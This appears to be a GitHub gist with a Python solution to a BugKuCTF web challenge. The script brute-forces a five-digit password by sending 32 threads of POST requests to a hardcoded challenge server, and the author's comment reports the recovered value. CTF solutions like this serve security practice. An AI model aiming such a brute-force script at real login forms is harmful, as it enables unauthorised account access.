Skip to content

Instantly share code, notes, and snippets.

@DuckSoft
Created May 26, 2018 07:21
Show Gist options
  • Save DuckSoft/08c0eeb61c55315df03079860723e43f to your computer and use it in GitHub Desktop.
Save DuckSoft/08c0eeb61c55315df03079860723e43f to your computer and use it in GitHub Desktop.
BugKuCTF Web Baopo
import requests
import threadpool
pool = threadpool.ThreadPool(32)
flag = False
def worker(i):
global flag
if flag:
return
if "密码不正确" not in requests.post("http://120.24.86.145:8002/baopo/?yes", data={
"pwd": i
}).content.decode():
print("\nflag = %s" % i, flush=True)
flag = True
else:
print(".",end='', flush=True)
reqs = threadpool.makeRequests(worker, [
"%05d" % i for i in range(0,99999)
])
for req in reqs:
pool.putRequest(req)
pool.wait()
@DuckSoft
Copy link
Author

跑出来结果是 13579

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment